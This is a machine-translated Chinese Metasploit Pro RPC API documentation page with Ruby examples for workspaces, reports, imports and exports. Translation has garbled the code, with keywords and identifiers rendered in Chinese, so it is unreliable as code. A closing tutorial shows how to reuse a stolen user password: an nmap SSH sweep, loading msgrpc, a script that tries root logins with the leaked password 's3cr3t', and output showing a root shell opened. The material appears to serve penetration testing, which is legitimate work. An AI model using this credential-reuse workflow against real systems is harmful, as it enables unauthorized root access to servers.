RPC API的示例用法
下面的脚本提供了如何使用RPC API执行常见任务的示例。这些例子可以在metasploit /应用程序/ pro / api示例.
添加一个工作区
ruby
1
#
2
#注意:工作空间和项目是一回事.
3.
#
4
require_relative“metasploit_rpc_client”
5
workspace_attrs={
6
7
的名字:“FooCorp穿透测试”,
8
limit_to_network:真正的,
9
边界:“10.2.3.1-10.2.3.24”,
10
描述:"对福氏关键任务内部地震局域网的测试"
11
}
12
13
#从CLI设置东西
14
api_token=ARGV[0]
15
宿主=ARGV[1]
16
17
#创建客户端-ssl设置为真正的在安装环境
18
客户端=MetasploitRPCClient.新(宿主:宿主,令牌:api_token,ssl:假,港口:50505)
19
客户端.调用“pro.workspace_add”,workspace_attrs
清单、下载和生成报告
ruby
1
报告列表的例子,下载,以及通过RPC API生成.
2
#
3.
#使用:
4
# ruby report_api_test.rb<服务的关键><MSPro实例>' < WorkspaceName >”
5
#
6
#服务的关键:从全局设置生成API令牌,需要
7
# Pro授权实例.
8
# MSPro实例:127.0.0.1如果在本地运行
9
#
10
#
11
12
require_relative“metasploit_rpc_client”
13
14
#从CLI设置东西
15
api_token=ARGV[0]
16
宿主=ARGV[1]
17
workspace_name=ARGV[2]
18
19
#创建客户端
20.
客户端=MetasploitRPCClient.新(宿主:宿主,令牌:api_token,ssl:假,港口:50505)
21
22
# #报告
23
#列出报告类型
24
type_list=客户端.调用(“pro.list_report_types”)
25
把允许的报表类型:\n#{type_list}
26
27
#列出当前报告
28
# report_list=客户端.调用(“pro.report_list”,workspace_name)
29
#把“\ n \ nExisting报告:# {report_list} \ n”
30.
31
#下载报告构件
32
# report_artifact_id=1
33
#工件=客户端.调用(“pro.report_artifact_download”,report_artifact_id)
34
# tmp_path=“/ tmp / report_ # {report_artifact_id} # {File.extname(工件[' file_path '])}”
35
#文件.开放(tmp_path,' w '){|c|c.写工件[“数据”]}
36
#把"将报告工件#{report_artifact_id}写入#{tmp_path}"
37
38
#创建报告
39
# report_hash={工作空间:workspace_name,
40
#名称:“SuperTest_ # {Time.now.to_i}”,
41
# report_type::审计,
42
# # se_campaign_id:1,
43
# created_by:“whoareyou”,
44
# file_formats:[:pdf]
45
#}
46
# report_creation=客户端.调用(“pro.start_report”,report_hash)
47
#把“\ n \ nCreated报告:\ n # {report_creation}”
48
49
##下载报告和子工件
50
# report_id=1
51
#报告=客户端.调用(“pro.report_download”,report_id)
52
#报告[“report_artifacts”].each_with_index做|一个,我|
53
# tmp_path=“/ tmp / report_test_ #{我}_ # {Time.now.to_i} # {File.extname ([' file_path '])}”
54
#文件.开放(tmp_path,' w '){|c|c.写一个[“数据”]}
55
#把“将报告工件#{report_id}写入#{tmp_path}”
56
#结束
导入数据
ruby
1
#
2
通过RPC API导入数据的示例.
3.
#
4
#使用:
5
# ruby import_api_test.rb<服务的关键><MSPro实例>\
6
#<项目名称>的\
7
#'<导入>文件的完整路径'
8
#
9
#服务的关键:从全局设置生成API令牌,需要
10
# Pro授权实例.
11
# MSPro实例:127.0.0.1,如果在本地运行
12
#项目名称:要导入的现有工作空间的名称
13
#导入文件路径:完全限定的路径,以导入文件的支持
14
#格式
15
#
16
require_relative“metasploit_rpc_client”
17
18
# CLI参数
19
api_token=ARGV[0]
20.
宿主=ARGV[1]
21
workspace_name=ARGV[2]
22
import_file_path=ARGV[3.]
23
24
除非api_token&&宿主&&workspace_name
25
提高异常,“你必须指定一个API令牌、一个实例地址和一个工作空间名称。”
26
结束
27
除非import_file_path
28
提高异常,您必须指定导入文件的路径。
29
结束
30.
31
#创建客户端
32
客户端=MetasploitRPCClient.新(宿主:宿主,令牌:api_token,ssl:假,港口:50505)
33
34
#导入配置
35
import_hash={
36
工作空间:workspace_name,
37
#切换数据存储选项(记录,除了一些例外,就像
38
#这个好用的)因而:
39
# DS_AUTOTAG_OS:真正的,
40
# TODO更新与正确的路径:
41
DS_PATH:import_file_path
42
}
43
44
进口=客户端.调用(“pro.start_import”,import_hash)
45
把“\ nStarted导入:\ n #{进口}”
导出数据
ruby
1
#导出列表的例子,下载,和代
2
# RPC API.
3.
#
4
#使用:
5
# ruby export_api_test.rb<服务的关键><MSPro实例>' < WorkspaceName >”
6
#
7
#服务的关键:从全局设置生成API令牌,需要
8
# Pro授权实例.
9
# MSPro实例:127.0.0.1如果在本地运行
10
#
11
#
12
13
require_relative“metasploit_rpc_client”
14
15
#从CLI设置东西
16
api_token=ARGV[0]
17
宿主=ARGV[1]
18
workspace_name=ARGV[2]
19
20.
#创建客户端
21
客户端=MetasploitRPCClient.新(宿主:宿主,令牌:api_token,ssl:假,港口:50505)
22
23
# # #出口
24
##列出当前导出
25
export_list=客户端.调用(“pro.export_list”,workspace_name)
26
把“现有出口:# {export_list}”
27
28
# #创造出口
29
# export_types=[“zip_workspace”,“xml”,“replay_scripts”,“pwdump”]
30.
# export_config={created_by:“whoareyou”,
31
# export_type:export_types[0],
32
#工作区:workspace_name}
33
# export_creation=客户端.调用(“pro.start_export”,export_config)
34
#把“创建出口:# {export_creation}”
35
36
# #下载出口
37
# export_id=1
38
#出口=客户端.调用(“pro.export_download”,export_id)
39
# tmp_path=“/ tmp / export_test_ # {export_id} # {File.extname(出口[' file_path '])}”
40
#文件.开放(tmp_path,' w '){|c|c.写出口[“数据”]}
41
#把" export #{export_id} to #{tmp_path}"
教程
找到允许我使用已知凭证作为根用户登录的Linux服务器。
让我们来设计测试场景。假设,通过这样或那样的方法,我获得了单个用户Bob的明文密码。我有Bob的Windows证书,可以很容易地通过RDP或psexec访问他的机器。我已经确定Bob是一个Linux管理员。我希望确定哪些Linux服务器允许我使用Bob泄露的密码作为“root”登录。有许多方法可以实现这一点。下面就是其中一种方法。
1
nmap 10.0.1.1/24 -p22 -oG ssh_scan.gnmap
文件,ssh_scan。gnmap,包含我们的活动主机和SSH的状态。我们需要清理结果文件,只关注SSH“打开”的主机。下面的命令就是这样做的,并将目标ip保存到一个单独的文件:
1
猫ssh_scan。Gnmap | grep open | cut -d " " -f 2 > ssh_hosts.txt
现在我们有一个名为ssh_hosts.txt的文件,其中包含运行SSH的IP地址列表。接下来,让我们启动Metasploit和MSGRPC接口:
1
msfconsole msf exploit(handler) > load msgrpc Pass=pa55w0rd
2
[*] MSGRPC服务:127.0.0.1:55552
3.
[*] MSGRPC用户名:msf
4
[*] MSGRPC密码:pa55w0rd
5
[*]成功加载插件:msgrpc msf exploit(handler) >
此时,Metasploit的RPC接口正在侦听端口55552。我们可以继续编写Python脚本,以自动化测试SSH登录的任务。我强烈建议您在继续之前阅读Metasploit的远程API文档。下面的伪代码满足了我们的需求:
- 认证到Metasploit的MSGRPC接口(用户名:msf,密码:pa55w0rd)。
- 创建Metasploit控制台。
- 对于文件中的每个Linux主机,使用Bob泄露的密码's3cr3t'运行SSH_login模块。
- 销毁Metasploit控制台(清理以保留资源)。
- 与任何已建立的SSH会话进行交互。
下面是完整的Python源代码清单(请注意,我不是程序员)。为了继续进行测试,我更新了脚本顶部的用户设置,以反映“root”的用户名和“s3cr3t”的密码(这是Bob泄露的密码)。保存更改并运行Python脚本:
1
。/ msfrpc_ssh_scan.py
2
(+)身份验证成功
3.
[+]主机0创建!测试主机10.0.0.43
4
[+]清单会话……会话ID目标器1 root@10.0.1.43
查看会话清单,该脚本在主机10.0.1.43上使用Bob的密码成功地进行了“root”身份验证。我们之前启动的Metasploit控制台证实了这一事实:
1
无国界医生组织利用(处理器)>
2
[*] Command shell session 1 opened(10.0.2.10:43863 -> 10.0.1.43:22)…
3.
MSF利用(处理程序)>会话
4
活动会话
5
===============
6
1 shell linux SSH root:s3cr3t (10.0.1.43:22) 10.0.2.10:43863 -> 10.0.1.43:22 (10.0.1.43)
这个页面对你有帮助吗?